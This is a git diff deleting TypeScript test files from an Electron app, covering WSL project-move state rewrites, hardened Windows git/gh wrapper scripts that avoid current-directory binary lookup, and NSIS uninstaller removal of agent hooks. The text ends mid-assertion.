diff --git a/src/main/ipc/readdir-error-diagnostics.test.ts b/src/main/ipc/readdir-error-diagnostics.test.ts deleted file mode 100644 index c1c7041a662..00000000000 --- a/src/main/ipc/readdir-error-diagnostics.test.ts +++ /dev/null @@ -1,72 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { buildReadDirErrorBreadcrumb, classifyReadDirPath } from './readdir-error-diagnostics' - -describe('classifyReadDirPath', () => { - it('classifies a WSL UNC path without leaking it', () => { - const classification = classifyReadDirPath( - '\\\\wsl.localhost\\Ubuntu\\home\\u\\repo', - undefined - ) - expect(classification).toEqual({ hasConnectionId: false, isUNC: true, isWsl: true }) - }) - - it('classifies the legacy \\\\wsl$ root as WSL', () => { - expect(classifyReadDirPath('\\\\wsl$\\Ubuntu\\home', undefined).isWsl).toBe(true) - }) - - it('classifies a plain network UNC share as UNC but not WSL', () => { - const classification = classifyReadDirPath('\\\\fileserver\\share\\dir', undefined) - expect(classification).toMatchObject({ isUNC: true, isWsl: false }) - expect(classification.driveLetter).toBeUndefined() - }) - - it('extracts an uppercased drive letter for mapped drives', () => { - expect(classifyReadDirPath('z:\\projects\\repo', undefined)).toEqual({ - hasConnectionId: false, - isUNC: false, - isWsl: false, - driveLetter: 'Z' - }) - }) - - it('flags the SSH connection without recording it', () => { - const classification = classifyReadDirPath('/remote/repo', 'ssh-1') - expect(classification).toEqual({ hasConnectionId: true, isUNC: false, isWsl: false }) - }) - - it('never includes the raw path in the classification', () => { - const classification = classifyReadDirPath('\\\\wsl.localhost\\Ubuntu\\secret\\path', 'ssh-9') - expect(JSON.stringify(classification)).not.toContain('secret') - }) -}) - -describe('buildReadDirErrorBreadcrumb', () => { - it('captures throw site, error code/name, and path classification', () => { - const breadcrumb = buildReadDirErrorBreadcrumb({ - dirPath: '\\\\wsl.localhost\\Ubuntu\\home\\u\\repo', - connectionId: undefined, - throwSite: 'readdir', - error: Object.assign(new Error('EIO: i/o error'), { code: 'EIO' }) - }) - expect(breadcrumb).toEqual({ - throwSite: 'readdir', - errorName: 'Error', - errorCode: 'EIO', - hasConnectionId: false, - isUNC: true, - isWsl: true - }) - }) - - it('omits errorCode when the error has none', () => { - const breadcrumb = buildReadDirErrorBreadcrumb({ - dirPath: '/remote/repo', - connectionId: 'ssh-1', - throwSite: 'ssh-provider', - error: new Error('Remote connection dropped.') - }) - expect(breadcrumb).toMatchObject({ throwSite: 'ssh-provider', errorName: 'Error' }) - expect(breadcrumb.errorCode).toBeUndefined() - expect(breadcrumb.hasConnectionId).toBe(true) - }) -}) diff --git a/src/main/persistence/moving-wsl-projects/wsl-move-rewrite-store-coverage.test.ts b/src/main/persistence/moving-wsl-projects/wsl-move-rewrite-store-coverage.test.ts deleted file mode 100644 index f1d22a01d3b..00000000000 --- a/src/main/persistence/moving-wsl-projects/wsl-move-rewrite-store-coverage.test.ts +++ /dev/null @@ -1,258 +0,0 @@ -import { afterEach, describe, expect, it, vi } from 'vitest' -import { toPersistedAutomationHostFilter } from '../../../shared/automation-host-filter' -import { getDefaultPersistedState, getDefaultWorkspaceSession } from '../../../shared/constants' -import { toRuntimeExecutionHostId } from '../../../shared/execution-host' -import type { PersistedUIState } from '../../../shared/persisted-ui-state-types' -import { worktreeWorkspaceKey } from '../../../shared/workspace-scope' -import type { WorkspaceSessionState } from '../../../shared/workspace-session-state-types' -import { WSL_MOVE_BROWSER_COOKIES_STORE_ID } from '../../../shared/wsl-move/wsl-move-browser-cookie-copy' -import { - PERSISTED_STATE_DISPOSITIONS, - WORKSPACE_SESSION_DISPOSITIONS, - type WslMoveFieldDisposition -} from '../../../shared/wsl-move/wsl-move-dispositions' -import { OUT_OF_STORE_DISPOSITIONS } from '../../../shared/wsl-move/wsl-move-out-of-store-dispositions' -import type { WslMoveRendererRewriteStoreId } from '../../../shared/wsl-move/wsl-move-renderer-rewrite-types' -import { - LOCAL_STORAGE_MODULE_DISPOSITIONS, - SQLITE_TABLE_DISPOSITIONS -} from '../../../shared/wsl-move/wsl-move-storage-dispositions' -import { UI_STATE_DISPOSITIONS } from '../../../shared/wsl-move/wsl-move-ui-dispositions' -import { registerWslMoveDesktopRewriteRegistry } from './wsl-move-desktop-rewrite-registry' -import { - isWslMoveDesktopRewriteRegistryComplete, - listWslMoveDesktopRewriteStores, - resetWslMoveDesktopRewriteStoresForTests, - WSL_MOVE_DESKTOP_REWRITE_REGISTRY_COMPLETE, - type WslMoveDesktopRewriteContext -} from './wsl-move-desktop-rewrite-stores' -import { registerWslMoveMainRewriteStores } from './wsl-move-main-rewrite-stores' -import { createUncToLinuxPathRewriter } from './wsl-move-path-rewriter' -import { wslMoveCutoverFixture } from '../__fixtures__/wsl-mover/wsl-move-cutover-fixture' -import { wslMoverProfile } from '../__fixtures__/wsl-mover/wsl-mover-profiles' -import { WSL_MOVE_HOST_AUTOMATIONS_STORE_ID } from './wsl-move-host-automations-rewrite' -import { WSL_MOVE_ORCHESTRATION_HISTORY_STORE_ID } from './wsl-move-orchestration-history-rewrite' - -vi.mock('../../browser/browser-partition-cookie-copy', () => ({ - copyBrowserPartitionCookies: vi.fn(), - flushBrowserPartitionCookies: vi.fn() -})) -vi.mock('../../browser/browser-session-registry', () => ({ browserSessionRegistry: {} })) -vi.mock('../../browser/browser-session-startup', () => ({ browserSessionsInitialized: vi.fn() })) -vi.mock('../../browser/browser-route-partition-binding-runtime', () => ({ - activeBrowserRoutePartitionOrcaProfileId: vi.fn(), - currentBrowserRoutePartitionBindingStore: vi.fn() -})) -vi.mock('../../browser/browser-route-partition-storage-dependencies', () => ({ - releaseEvictedBrowserRoutePartitionStorage: vi.fn() -})) - -const UI_ROUTING = 'ui-routing' -const SESSION_GLOBALS = 'session-globals' -const HOST_SESSION_SEED = 'host-session-seed' -const renderer = (id: WslMoveRendererRewriteStoreId): string => id -// Rows whose rewrite shows in another field: the scalar scope stays, the host list it resolves to grows. -const WRITTEN_FIELD: Record = { 'ui.workspaceHostScope': 'visibleWorkspaceHostIds' } - -/** - * The store that carries out each disposition row it names. Keys are `.` after the - * disposition tables; every row here must exist, and every registered store must appear. - */ -const STORE_BY_ROW: Record = { - 'persisted.workspaceSessionsByHostId': HOST_SESSION_SEED, - // A move row, not a desktop rewrite: the host turns back on what the manifest carried disabled. - 'persisted.automations': WSL_MOVE_HOST_AUTOMATIONS_STORE_ID, - 'session.activeWorktreeId': SESSION_GLOBALS, - 'session.activeWorkspaceExecutionHostId': SESSION_GLOBALS, - 'session.activeWorkspaceKey': SESSION_GLOBALS, - // This desktop's copy, laid over the host partition the seed writes. - 'session.markdownFrontmatterVisible': HOST_SESSION_SEED, - 'session.closedTerminalTabTombstonesByTabId': HOST_SESSION_SEED, - 'ui.lastActiveWorktreeId': UI_ROUTING, - 'ui.manualRepoOrder': UI_ROUTING, - 'ui.explorerDisplayRootByWorktree': UI_ROUTING, - 'ui.showDotfilesByWorktree': UI_ROUTING, - 'ui.workspaceCleanup': UI_ROUTING, - 'ui.collapsedGroups': UI_ROUTING, - 'ui.workspaceHostScope': UI_ROUTING, - 'ui.workspaceHostOrder': UI_ROUTING, - 'ui.visibleWorkspaceHostIds': UI_ROUTING, - 'ui.agentsVisibleHostIds': UI_ROUTING, - 'ui.automationHostFilter': UI_ROUTING, - 'localStorage.src/renderer/src/lib/quick-open-file-history.ts': renderer('quick-open-history'), - 'localStorage.src/renderer/src/components/editor/ipynb-kernel-store.ts': - renderer('notebook-environments'), - 'localStorage.src/renderer/src/components/editor/file-view-preference-storage.ts': - renderer('file-view-preferences'), - 'sqlite.orchestration.worker_dispatches': WSL_MOVE_ORCHESTRATION_HISTORY_STORE_ID, - 'sqlite.orchestration.worker_terminal_resources': WSL_MOVE_ORCHESTRATION_HISTORY_STORE_ID, - 'outOfStore.orchestration.db': WSL_MOVE_ORCHESTRATION_HISTORY_STORE_ID, - 'outOfStore.browser partition (cookies, site storage)': WSL_MOVE_BROWSER_COOKIES_STORE_ID -} - -const prefixed = ( - prefix: string, - table: Record -): [string, WslMoveFieldDisposition][] => - Object.entries(table).map(([key, row]) => [`${prefix}.${key}`, row]) - -const ROWS = new Map([ - ...prefixed('persisted', PERSISTED_STATE_DISPOSITIONS), - ...prefixed('session', WORKSPACE_SESSION_DISPOSITIONS), - ...prefixed('ui', UI_STATE_DISPOSITIONS), - ...prefixed('localStorage', LOCAL_STORAGE_MODULE_DISPOSITIONS), - ...prefixed('sqlite', SQLITE_TABLE_DISPOSITIONS), - ...OUT_OF_STORE_DISPOSITIONS.map((row): [string, WslMoveFieldDisposition] => [ - `outOfStore.${row.store}`, - row - ]) -]) - -/** The stores startup registers, through the same entry point. */ -function registeredStoreIds(): string[] { - registerWslMoveDesktopRewriteRegistry({ - profile: { - getUI: vi.fn(), - updateUI: vi.fn(), - getWorkspaceSession: vi.fn(), - patchWorkspaceSession: vi.fn(), - setWorkspaceSession: vi.fn(), - flushPendingOrThrowAsync: vi.fn() - }, - orchestrationDatabasePath: '/nowhere/orchestration.db', - hostAutomations: { enable: vi.fn() }, - browserCookies: { - userDataPath: '/nowhere', - sessionsReady: () => false, - orcaProfileId: () => null, - listEnvironments: () => [], - listBrowserProfiles: () => [], - resolveHostStorage: vi.fn(), - bindHostPartition: vi.fn(), - copyCookies: vi.fn(), - flushCookies: vi.fn() - } - }) - return listWslMoveDesktopRewriteStores().map((store) => store.id) -} - -afterEach(() => { - resetWslMoveDesktopRewriteStoresForTests() -}) - -describe('WSL move desktop rewrite registry coverage', () => { - it('gives every desktop-rewrite disposition row a store', () => { - const rewriteRows = [...ROWS] - .filter(([, row]) => row.disposition === 'rewrite-desktop' || row.rewriteDesktopCopy) - .map(([key]) => key) - expect(rewriteRows.length).toBeGreaterThan(0) - expect(rewriteRows.filter((key) => !Object.hasOwn(STORE_BY_ROW, key))).toEqual([]) - }) - - it('names only rows the disposition tables have', () => { - expect(Object.keys(STORE_BY_ROW).filter((key) => !ROWS.has(key))).toEqual([]) - }) - - it('maps every registered store to a row, and registers every mapped store', () => { - const registered = registeredStoreIds() - const mapped = new Set(Object.values(STORE_BY_ROW)) - expect(registered.filter((id) => !mapped.has(id))).toEqual([]) - expect([...mapped].filter((id) => !registered.includes(id))).toEqual([]) - }) - - it('is marked complete', () => { - expect(WSL_MOVE_DESKTOP_REWRITE_REGISTRY_COMPLETE).toBe(true) - expect(isWslMoveDesktopRewriteRegistryComplete()).toBe(true) - }) - - it("has the profile's stores write every UI and session row they are mapped to", async () => { - const written = new Set() - const context: WslMoveDesktopRewriteContext = { - cutover: wslMoveCutoverFixture( - 'move-1', - 'destination-committed', - {}, - { repoIds: ['repo-a'] }, - { - version: 1, - worktreeMeta: [], - worktreeLineage: [], - workspaceLineage: [], - sparsePresets: [], - retiredWorktreeNames: [], - retiredWorktreeNamespaces: [], - automations: wslMoverProfile('folders-and-automations', 'destination').state.automations - } - ), - rewritePath: createUncToLinuxPathRewriter('Ubuntu'), - destinationHostId: HOST, - recordSeededHostWorkspaceIds: () => {} - } - registerWslMoveMainRewriteStores({ - getUI: () => ({ ...getDefaultPersistedState('/nowhere').ui, ...movedUi() }), - updateUI: (updates) => { - Object.keys(updates).forEach((key) => written.add(`ui.${key}`)) - }, - getWorkspaceSession: () => ({ ...getDefaultWorkspaceSession(), ...movedSession() }), - patchWorkspaceSession: (patch) => { - Object.keys(patch).forEach((key) => written.add(`session.${key}`)) - }, - setWorkspaceSession: vi.fn(), - flushPendingOrThrowAsync: vi.fn() - }) - for (const store of listWslMoveDesktopRewriteStores()) { - if (store.side === 'main' && (store.id === UI_ROUTING || store.id === SESSION_GLOBALS)) { - await store.run(context) - } - } - const missing = Object.entries(STORE_BY_ROW) - .filter(([, storeId]) => storeId === UI_ROUTING || storeId === SESSION_GLOBALS) - .map(([row]) => { - const field = WRITTEN_FIELD[row] - return field ? `${row.slice(0, row.indexOf('.'))}.${field}` : row - }) - .filter((row) => !written.has(row)) - expect(missing).toEqual([]) - }) -}) - -const HOST = toRuntimeExecutionHostId('wsl:Ubuntu') -const MOVED = 'repo-a::\\\\wsl.localhost\\Ubuntu\\home\\dev\\app' - -/** Every UI row the move rewrites, naming the moved project on this computer. */ -function movedUi(): Partial { - return { - lastActiveWorktreeId: MOVED, - manualRepoOrder: [{ hostId: 'local', repoId: 'repo-a' }], - explorerDisplayRootByWorktree: { [MOVED]: '\\\\wsl.localhost\\Ubuntu\\home\\dev\\app\\src' }, - showDotfilesByWorktree: { [MOVED]: true }, - workspaceCleanup: { - dismissals: { - [`local\0${MOVED}`]: { - worktreeId: MOVED, - executionHostId: 'local', - dismissedAt: 1, - fingerprint: 'f', - classifierVersion: 1 - } - } - }, - collapsedGroups: [`lineage:local|${MOVED}`], - workspaceHostScope: 'local', - visibleWorkspaceHostIds: null, - workspaceHostOrder: ['local'], - agentsVisibleHostIds: ['local'], - automationHostFilter: toPersistedAutomationHostFilter({ - kind: 'host', - host: { authority: { kind: 'desktop' }, selector: { kind: 'self' } } - }) - } -} - -function movedSession(): Partial { - return { - activeWorktreeId: MOVED, - activeWorkspaceKey: worktreeWorkspaceKey(MOVED), - activeWorkspaceExecutionHostId: 'local' - } -} diff --git a/src/main/pty/legacy-terminal-windows-tombstone.test.ts b/src/main/pty/legacy-terminal-windows-tombstone.test.ts deleted file mode 100644 index fbd993bdbd1..00000000000 --- a/src/main/pty/legacy-terminal-windows-tombstone.test.ts +++ /dev/null @@ -1,224 +0,0 @@ -import { mkdirSync, mkdtempSync, readFileSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it } from 'vitest' -import { resolvePosixTombstoneInterpreter } from './legacy-terminal-posix-tombstone' -import { - __resetLegacyTerminalShimNeutralizationForTests, - neutralizeLegacyTerminalShimDir -} from './legacy-terminal-shim-dir' - -// Missing indexOf operands return -1 and can falsely satisfy ordering. -function expectOrdered(text: string, first: string, second: string): void { - expect(text, `missing: ${first}`).toContain(first) - expect(text, `missing: ${second}`).toContain(second) - expect(text.indexOf(first)).toBeLessThan(text.indexOf(second)) -} - -describe('legacy terminal Windows tombstone text', () => { - const tempRoots: string[] = [] - - const makeUserDataDir = (): string => { - const userData = mkdtempSync(join(tmpdir(), 'orca-legacy-shim-win-')) - tempRoots.push(userData) - return userData - } - - beforeEach(() => { - __resetLegacyTerminalShimNeutralizationForTests() - }) - - afterEach(() => { - for (const tempRoot of tempRoots.splice(0)) { - rmSync(tempRoot, { recursive: true, force: true }) - } - }) - - it('rejects stale Windows real-command paths inside the wrapper directory', () => { - const userData = makeUserDataDir() - const win32Dir = join(userData, 'orca-terminal-attribution', 'win32') - mkdirSync(win32Dir, { recursive: true }) - - neutralizeLegacyTerminalShimDir(userData) - - const cmd = readFileSync(join(win32Dir, 'git.cmd'), 'utf8') - expect(cmd).toContain( - 'if defined orca_real for %%G in ("%orca_real%") do if /I "%%~dpG"=="%~dp0" set "orca_real="' - ) - // A stale captured path must fall back instead of invoking a missing binary. - expect(cmd).toContain('if defined orca_real if not exist "%orca_real%" set "orca_real="') - expectOrdered(cmd, 'if not exist "%orca_real%"', ':orca_try_candidate') - const powershell = readFileSync(join(win32Dir, 'git-wrapper.ps1'), 'utf8') - expect(powershell).toContain('[StringComparison]::OrdinalIgnoreCase') - expect(powershell).toContain('$realCommand = $null') - expectOrdered( - powershell, - '[StringComparison]::OrdinalIgnoreCase', - 'Test-Path -LiteralPath $realCommand' - ) - }) - - it('emits no percent expression inside a cmd rem comment', () => { - // cmd expands variables even in rem; separators behave differently inside blocks. - const userData = makeUserDataDir() - const win32Dir = join(userData, 'orca-terminal-attribution', 'win32') - mkdirSync(win32Dir, { recursive: true }) - - neutralizeLegacyTerminalShimDir(userData) - - for (const command of ['git', 'gh'] as const) { - const offending = readFileSync(join(win32Dir, `${command}.cmd`), 'utf8') - .split('\r\n') - .filter((line) => /^\s*rem\b/i.test(line) && line.includes('%')) - expect(offending, `rem comments with percent expressions: ${offending.join(' | ')}`).toEqual( - [] - ) - } - }) - - it('keeps the Windows wrappers ASCII-only', () => { - // Multibyte comments shifted cmd byte positions and broke following lines on Windows 11. - const userData = makeUserDataDir() - const win32Dir = join(userData, 'orca-terminal-attribution', 'win32') - mkdirSync(win32Dir, { recursive: true }) - - neutralizeLegacyTerminalShimDir(userData) - - for (const name of ['git.cmd', 'gh.cmd', 'git-wrapper.ps1', 'gh-wrapper.ps1']) { - const contents = readFileSync(join(win32Dir, name), 'utf8') - const offending = [...contents].find((character) => character.charCodeAt(0) > 0x7f) - expect(offending, `${name} contains non-ASCII ${JSON.stringify(offending)}`).toBeUndefined() - expect(Buffer.byteLength(contents, 'utf8')).toBe(contents.length) - } - }) - - it('resolves Windows fallbacks against PATH only, never the current directory', () => { - // where.exe searches cwd first and could execute repository-local git/gh (STA-4169). - const userData = makeUserDataDir() - const win32Dir = join(userData, 'orca-terminal-attribution', 'win32') - mkdirSync(win32Dir, { recursive: true }) - - neutralizeLegacyTerminalShimDir(userData) - - for (const command of ['git', 'gh'] as const) { - const cmd = readFileSync(join(win32Dir, `${command}.cmd`), 'utf8') - expect(cmd).not.toContain('where.exe') - expect(cmd).toContain('for %%P in ("%orca_clean_path:;=" "%") do (') - expect(cmd).toContain(`if exist "%orca_candidate_dir%\\${command}.exe"`) - // Normalize trailing separators to avoid self-exec; a variable avoids cmd's literal-backslash parser trap. - expect(cmd).toContain('set "orca_sep=\\"') - // Inherited /V:ON expands ! in PATH; measured cases executed cwd-local git or lost legitimate entries. - expect(cmd).toContain('setlocal DisableDelayedExpansion') - expect(cmd).not.toContain('\r\nsetlocal\r\n') - // Relative captured commands resolve from cwd and must be rejected. - expect(cmd).toContain('if defined orca_real call :orca_check_rooted') - expect(cmd).toContain('if defined orca_real if not defined orca_rooted set "orca_real="') - // Exported PATH reaches child tools; pin the exact subroutine because matching earlier call sites hid its missing guard. - expect(cmd).toContain(':orca_append_path\r\nif not defined orca_entry exit /b\r\n') - expect(cmd).toContain( - 'set "orca_probe=%orca_entry%"\r\ncall :orca_check_rooted\r\nif not defined orca_rooted exit /b\r\nfor %%G in ("%orca_entry%") do set "orca_path_entry_dir=%%~fG"' - ) - // CALL re-expands path arguments: literal percent variables could become cwd and execute planted git. Pass data through variables. - expect(cmd).not.toContain('call :orca_check_rooted "') - expect(cmd).not.toContain('call :orca_try_candidate "') - expect(cmd).not.toContain('call :orca_append_path "') - expect(cmd).not.toContain('%~1') - expect(cmd).toContain('set "orca_probe=%orca_entry%"\r\ncall :orca_check_rooted\r\n') - // Define the separator before any normalization; otherwise stripping silently no-ops. - expectOrdered(cmd, 'set "orca_sep=', 'if "%orca_legacy_norm:~-1%."') - // Compare dot-suffixed values to avoid expanding the separator into a literal-backslash parser trap. - expect(cmd).not.toContain('=="%orca_sep%"') - // Pin rejection too; accept-only assertions stayed green when the cwd-hijack guard was removed. - expectOrdered( - cmd, - 'call :orca_check_rooted\r\nif not defined orca_rooted exit /b', - 'for %%G in ("%orca_entry%") do set "orca_candidate_dir=' - ) - expect(cmd).toContain('if not defined orca_rooted exit /b') - expect(cmd).toContain('if "%orca_candidate_dir:~-1%."=="%orca_sep%."') - expect(cmd).not.toContain(':\\#=#%') - // CALL rebinds %~dp0; self-exclusion must use the cached wrapper directory. - expect(cmd).toContain('if /I "%orca_candidate_dir%\\"=="%orca_wrapper_dir%" exit /b') - // External tools in the rooted-path check would reintroduce cwd lookup. - expect(cmd).not.toContain('findstr') - expect(cmd).toContain('if "%orca_probe:~1,2%"==":\\" set "orca_rooted=1"') - expect(cmd).toContain('if "%orca_probe:~0,2%"=="\\\\" set "orca_rooted=1"') - // Both empty-element guards need pins; removing either otherwise left the suite green. - expect(cmd).toContain('if not defined orca_entry exit /b') - - const powershell = readFileSync(join(win32Dir, `${command}-wrapper.ps1`), 'utf8') - expect(powershell).not.toContain('Get-Command') - expect(powershell).toContain("($env:PATH -split ';')") - // IsPathRooted accepts drive-relative C:foo; require an absolute prefix. - expect(powershell).not.toContain('[IO.Path]::IsPathRooted(') - expect(powershell).toContain("$pathEntry -match '^([A-Za-z]:[\\\\/]|\\\\\\\\)'") - expect(powershell).toContain("$realCommand -notmatch '^([A-Za-z]:[\\\\/]|\\\\\\\\)'") - // A shorter prefix would also accept drive-relative C:foo. - expect(powershell).toContain("-notmatch '^([A-Za-z]:[\\\\/]|\\\\\\\\)'") - // Mutation showed each trailing-separator normalization could disappear without other failures. - expect(powershell).toContain("ForEach-Object { $_.TrimEnd('\\', '/') }") - expect(powershell).toContain("$pathEntry.TrimEnd('\\', '/')") - expect(powershell).toContain("$dir.TrimEnd('\\', '/')") - expect(powershell).toContain("$capturedDir.TrimEnd('\\', '/')") - expect(powershell).toContain( - "$dir.TrimEnd('\\', '/'), [StringComparison]::OrdinalIgnoreCase) }) { continue }" - ) - // Both separators are accepted in rooted paths and must be normalized for self-exclusion. - expect(powershell).not.toContain("TrimEnd('\\')") - expect(cmd).toContain('if "%orca_probe:~1,2%"==":/" set "orca_rooted=1"') - expect(cmd).toContain('if "%orca_legacy_norm:~-1%."=="%orca_sep%."') - // cmd expands whole lines before if defined; defer unset-variable substring operations into a CALL body. - expect(cmd).toContain('if defined orca_legacy_wrapper_dir call :orca_normalize_legacy_dir') - expect(cmd).not.toContain('if defined orca_legacy_wrapper_dir for ') - expect(powershell).toContain('if (-not $dir) { continue }') - expect(powershell).toContain('Test-Path -LiteralPath $candidate -PathType Leaf') - } - }) - - it('emits Windows wrappers with CRLF line endings', () => { - // cmd label lookup failed for longer LF-only wrappers on Windows; require CRLF. - const userData = makeUserDataDir() - const win32Dir = join(userData, 'orca-terminal-attribution', 'win32') - mkdirSync(win32Dir, { recursive: true }) - - neutralizeLegacyTerminalShimDir(userData) - - for (const file of ['git.cmd', 'gh.cmd', 'git-wrapper.ps1', 'gh-wrapper.ps1']) { - const body = readFileSync(join(win32Dir, file), 'utf8') - expect(body, file).toContain('\r\n') - expect(body.replaceAll('\r\n', ''), file).not.toContain('\n') - } - }) - - it('guards both cmd PATH walks so an empty variable cannot break parsing', () => { - // Expanding an empty PATH into quoted elements leaves unbalanced quotes and breaks cmd parsing. - const userData = makeUserDataDir() - const win32Dir = join(userData, 'orca-terminal-attribution', 'win32') - mkdirSync(win32Dir, { recursive: true }) - - neutralizeLegacyTerminalShimDir(userData) - - for (const command of ['git', 'gh'] as const) { - const cmd = readFileSync(join(win32Dir, `${command}.cmd`), 'utf8') - expect(cmd).toContain('if not defined PATH goto :orca_path_walked') - expect(cmd).toContain('if not defined orca_clean_path goto :orca_candidates_walked') - for (const [guard, loop] of [ - ['if not defined PATH goto :orca_path_walked', 'for %%P in ("%PATH:;='], - [ - 'if not defined orca_clean_path goto :orca_candidates_walked', - 'for %%P in ("%orca_clean_path:;=' - ] - ] as const) { - expectOrdered(cmd, guard, loop) - } - } - }) - - it('never bakes an ambient interpreter lookup on Windows', () => { - // Windows cannot verify guest paths; both Git Bash and WSL map /bin/bash without ambient lookup. - expect(resolvePosixTombstoneInterpreter(undefined, [], 'win32')).toBe('/bin/bash') - expect(resolvePosixTombstoneInterpreter('C:\\Git\\bin;C:\\Windows', [], 'win32')).toBe( - '/bin/bash' - ) - }) -}) diff --git a/src/main/startup/agent-hooks-uninstall-preflight.test.ts b/src/main/startup/agent-hooks-uninstall-preflight.test.ts deleted file mode 100644 index babd72e3a95..00000000000 --- a/src/main/startup/agent-hooks-uninstall-preflight.test.ts +++ /dev/null @@ -1,204 +0,0 @@ -import { readFileSync } from 'node:fs' -import { dirname, join } from 'node:path' -import { describe, expect, it, vi } from 'vitest' -import type { AgentHookInstallStatus } from '../../shared/agent-hook-types' -import { getBundledLauncherPath } from '../cli/bundled-cli-launcher-path' - -const electron = vi.hoisted(() => ({ - exit: vi.fn(), - requestSingleInstanceLock: vi.fn(), - BrowserWindow: vi.fn(), - handle: vi.fn() -})) -const appData = vi.hoisted(() => ({ ensure: vi.fn() })) -const hooks = vi.hoisted(() => ({ - remove: vi.fn<() => Promise>(async () => []) -})) - -vi.mock('electron', () => ({ - app: { - exit: electron.exit, - getPath: () => '/user-data', - setPath: vi.fn(), - requestSingleInstanceLock: electron.requestSingleInstanceLock - }, - BrowserWindow: electron.BrowserWindow, - ipcMain: { handle: electron.handle } -})) -vi.mock('./windows-app-data-path', () => ({ ensureWindowsAppDataPath: appData.ensure })) -vi.mock('../agent-hooks/managed-agent-hook-controls', () => ({ - removeManagedAgentHooks: hooks.remove -})) - -import { - AGENT_HOOKS_UNINSTALL_FLAG, - removeAgentHooksForUninstall, - runAgentHooksUninstallPreflight -} from './agent-hooks-uninstall-preflight' - -function status(agent: 'claude' | 'codex', state: AgentHookInstallStatus['state']) { - return { agent, state, configPath: '', managedHooksPresent: false, detail: null } -} - -const nsis = (name: string): string => - readFileSync(new URL(`../../../config/nsis/${name}`, import.meta.url), 'utf8') - -function realUninstallBranch(): string { - const unInstall = nsis('orca-installer-hooks.nsh').slice( - nsis('orca-installer-hooks.nsh').indexOf('!macro customUnInstall') - ) - // The real-uninstall branch ends with the relocated daemon host's cleanup. - return unInstall.slice( - unInstall.indexOf('${ifNot} ${isUpdated}'), - unInstall.indexOf('daemon-host-profiles') - ) -} - -describe('managed agent hook removal on uninstall', () => { - it('succeeds only when no agent reports an error', async () => { - vi.spyOn(console, 'warn').mockImplementation(() => {}) - await expect( - removeAgentHooksForUninstall(async () => [ - status('claude', 'not_installed'), - status('codex', 'not_installed') - ]) - ).resolves.toBe(0) - await expect( - removeAgentHooksForUninstall(async () => [ - status('claude', 'not_installed'), - status('codex', 'error') - ]) - ).resolves.toBe(1) - await expect( - removeAgentHooksForUninstall(async () => { - throw new Error('settings unreadable') - }) - ).resolves.toBe(1) - }) - - it('ignores ordinary launches', () => { - expect(runAgentHooksUninstallPreflight(['Orca.exe'])).toBe(false) - expect(hooks.remove).not.toHaveBeenCalled() - }) - - it('removes every agent and exits, opening no window, lock or IPC', async () => { - electron.exit.mockClear() - hooks.remove.mockResolvedValueOnce([status('claude', 'not_installed')]) - - expect(runAgentHooksUninstallPreflight(['Orca.exe', AGENT_HOOKS_UNINSTALL_FLAG])).toBe(true) - - await vi.waitFor(() => expect(electron.exit).toHaveBeenCalledWith(0)) - expect(hooks.remove).toHaveBeenCalledExactlyOnceWith() - expect(electron.BrowserWindow).not.toHaveBeenCalled() - expect(electron.requestSingleInstanceLock).not.toHaveBeenCalled() - expect(electron.handle).not.toHaveBeenCalled() - }) - - it('exits 1 rather than leaving an error box when setup throws', () => { - vi.useFakeTimers() - electron.exit.mockClear() - appData.ensure.mockImplementationOnce(() => { - throw new Error('Orca could not find the Windows roaming AppData folder') - }) - try { - vi.spyOn(console, 'warn').mockImplementation(() => {}) - expect(runAgentHooksUninstallPreflight(['Orca.exe', AGENT_HOOKS_UNINSTALL_FLAG])).toBe(true) - expect(electron.exit).toHaveBeenCalledExactlyOnceWith(1) - // The timer armed before setup is cleared, so it can't exit a second time. - vi.runAllTimers() - expect(electron.exit).toHaveBeenCalledOnce() - } finally { - vi.useRealTimers() - } - }) -}) - -describe('the NSIS uninstaller', () => { - it('removes agent hooks on a real uninstall only, after the app is gone, never blocking', () => { - const branch = realUninstallBranch() - const launch = branch.indexOf( - `nsExec::Exec '"$INSTDIR\\\${APP_EXECUTABLE_FILENAME}" ${AGENT_HOOKS_UNINSTALL_FLAG}'` - ) - expect(launch).toBeGreaterThan(-1) - // Killed first, so a running Orca cannot reinstall the hooks behind the removal. - expect(launch).toBeGreaterThan(branch.indexOf('orca-terminal-daemon.exe')) - // The exit code is popped and never checked. - expect(branch.slice(launch).split('\n')[1].trim()).toBe('Pop $0') - expect(nsis('orca-installer-hooks.nsh').split(AGENT_HOOKS_UNINSTALL_FLAG)).toHaveLength(2) - }) - - it('keeps the hooks while another Orca install for this user still uses them', () => { - const branch = realUninstallBranch() - const launch = branch.indexOf(AGENT_HOOKS_UNINSTALL_FLAG) - const check = branch.indexOf('!insertmacro ORCA_OTHER_INSTALL_STATE $1') - expect(check).toBeGreaterThan(-1) - // Only a definite "no other install" runs the removal; "other" and "unknown" skip it. - const gate = branch.lastIndexOf('${if} $1 == "none"', launch) - expect(gate).toBeGreaterThan(check) - expect(branch.slice(gate, launch)).not.toContain('${endIf}') - expect(nsis('orca-installer-hooks.nsh')).toContain( - '!include "${__FILEDIR__}\\orca-other-install-check.nsh"' - ) - - const detect = nsis('orca-other-install-check.nsh') - // Both registrations a second install can have, by the key the installer writes. - expect(detect).toContain( - '!insertmacro ORCA_CHECK_ONE_REGISTRATION ${ORCA_OTHER_INSTALL_HKCU} HKCU ${OUT}' - ) - expect(detect).toContain( - '!insertmacro ORCA_CHECK_ONE_REGISTRATION ${ORCA_OTHER_INSTALL_HKLM} HKLM ${OUT}' - ) - expect(detect).toContain('ReadRegStr $R5 ${HIVE} "${INSTALL_REGISTRY_KEY}" InstallLocation') - // Our own registration is excluded, and the other one must still have the app. - expect(detect).toContain('${elseIf} $R5 != $INSTDIR') - expect(detect).toContain('${andIf} ${FileExists} "$R5\\${APP_EXECUTABLE_FILENAME}"') - // A read failure other than "no such key" reports unknown, which skips the removal. - expect(detect).toMatch( - /\$\{elseIf\} \$R7 != \$\{ORCA_ERROR_FILE_NOT_FOUND\}\s+StrCpy \$\{OUT\} "unknown"/ - ) - expect(detect).not.toMatch(/nsExec|ExecWait|powershell/i) - }) - - it('keeps the hooks when an Orca registration names no install location', () => { - const detect = nsis('orca-other-install-check.nsh') - // An opened key whose InstallLocation reads empty is doubtful, never "none". - expect(detect).toMatch( - /ReadRegStr \$R5 \$\{HIVE\} "\$\{INSTALL_REGISTRY_KEY\}" InstallLocation[\s\S]*?\$\{if\} \$R5 == 